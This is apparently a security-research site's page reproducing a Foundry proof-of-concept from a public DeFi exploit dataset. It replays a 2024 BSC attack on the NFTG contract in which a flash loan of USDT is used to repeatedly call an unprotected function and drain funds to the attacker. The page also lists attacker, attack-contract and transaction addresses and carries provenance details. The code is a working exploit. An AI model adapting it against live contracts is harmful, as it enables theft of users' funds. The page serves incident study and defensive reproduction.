Public reproduction file
src/test/2024-11/NFTG_exp.sol
Public reproduction file for dataset entry NFTG.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : 10k USD7// Attacker : https://bscscan.com/address/0x5af00b07a55f55775e4d99249dc7d81f5bc14c228// Attack Contract : https://bscscan.com/address/0x6def9e4a6bb9c3bfe0648a11d3fff14447079e789// Vulnerable Contract : https://bscscan.com/address/0x5fbbb391d54f4fb1d1cf18310c93d400bc80042e10// Attack Tx : https://bscscan.com/tx/0xbd330fd17d0f825042474843a223547132a49abb0746a7e762a0b15cf4bd28f612// @Info13// Vulnerable Contract Code : https://bscscan.com/address/0x5fbbb391d54f4fb1d1cf18310c93d400bc80042e15// @Analysis16// Post-mortem : https://x.com/TenArmorAlert/status/186143074557274524517// Twitter Guy : https://x.com/TenArmorAlert/status/186143074557274524518// Hacking God : N/A20address constant BEP20USDT = 0x55d398326f99059fF775485246999027B3197955;21address constant DPP = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;22address constant addr1 = 0x5fbBb391d54f4FB1d1CF18310c93d400BC80042E;23address constant attacker = 0x5af00B07a55F55775e4d99249DC7d81F5bc14c22;24address constant addr2 = 0x6deF9e4a6bb9C3bfE0648A11D3FfF14447079e78;27contract ContractTest is Test {28 function setUp() public {29 vm.createSelectFork("bsc", 44348366);30 }32 function testPoC() public {33 emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);34 vm.startPrank(attacker, attacker);35 AttackerC attC = new AttackerC();36 attC.transfer();37 vm.stopPrank();38 emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);39 }40}42// 0x6deF9e4a6bb9C3bfE0648A11D3FfF14447079e7843contract AttackerC {44 function transfer() public {45 IBEP20USDT(BEP20USDT).approve(addr1, type(uint256).max);46 IDPP(DPP).flashLoan(0, 8255555 * 10**14, address(this), hex"3078");47 }49 function DPPFlashLoanCall(address /*sender*/, uint256 /*baseAmount*/, uint256 /*quoteAmount*/, bytes calldata /*data*/) external {50 for (uint256 idx = 0; idx < 11; idx++) {51 IBEP20USDT(BEP20USDT).transfer(addr1, (idx * 10**13) + (11 * 10**13));52 (bool s, ) = addr1.call(abi.encodeWithSelector(bytes4(0x85d07203), 2125 * 10**13 * 3600, address(this)));53 require(s, "call failed");54 }55 IBEP20USDT(BEP20USDT).transfer(DPP, 8255555 * 10**14);56 uint256 bal = IBEP20USDT(BEP20USDT).balanceOf(address(this));57 IBEP20USDT(BEP20USDT).transfer(attacker, bal);58 }59}61interface IBEP20USDT {62 function approve(address, uint256) external returns (bool);63 function balanceOf(address) external returns (uint256);64 function transfer(address, uint256) external returns (bool); 65}66interface IDPP {67 function flashLoan(uint256, uint256, address, bytes calldata) external; 68}Analysis
Dataset entry
Public Foundry test for “NFTG” (2024-11-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-11/Ak1111_exp.solSame month in the dataset · 56 lines
- src/test/2024-11/ChiSale_exp.solSame month in the dataset · 85 lines
- src/test/2024-11/CoW_exp.solSame month in the dataset · 73 lines
- src/test/2024-11/DeltaPrime_exp.solSame month in the dataset · 249 lines
- src/test/2024-11/MainnetSettler_exp.solSame month in the dataset · 93 lines
- src/test/2024-11/Matez_exp.solSame month in the dataset · 72 lines
- src/test/2024-11/MFT_exp.solSame month in the dataset · 157 lines
- src/test/2024-11/PolterFinance_exploit.solSame month in the dataset · 227 lines
- src/test/2024-11/proxy_b7e1_exp.solSame month in the dataset · 107 lines
- src/test/2024-11/RPP_exp.solSame month in the dataset · 100 lines
- src/test/2024-11/vETH_exp.solSame month in the dataset · 94 lines
- src/test/2024-11/VRug_exp.solSame month in the dataset · 38 lines
- src/test/2024-11/X319_exp.solSame month in the dataset · 45 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x5af00b07a55f55775e4d99249dc7d81f5bc14c22
- Attack Contract
0x6def9e4a6bb9c3bfe0648a11d3fff14447079e78
- Vulnerable Contract
0x5fbbb391d54f4fb1d1cf18310c93d400bc80042e
- Attack Tx
0xbd330fd17d0f825042474843a223547132a49abb0746a7e762a0b15cf4bd28f6
- Post: https://x.com/TenArmorAlert/status/1861430745572745245
- Explorer: https://bscscan.com/address/0x5af00b07a55f55775e4d99249dc7d81f5bc14c22
- Explorer: https://bscscan.com/address/0x6def9e4a6bb9c3bfe0648a11d3fff14447079e78
- Explorer: https://bscscan.com/address/0x5fbbb391d54f4fb1d1cf18310c93d400bc80042e
File record
- Name
- NFTG
- Path
- src/test/2024-11/NFTG_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 466dbe60b386d1158a6e0a61692b54a5021c8190
- Language
- Solidity
- Size
- 68 lines
- Date
- 2024-11-26
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-11/NFTG_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 466dbe60b386d1158a6e0a61692b54a5021c8190, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.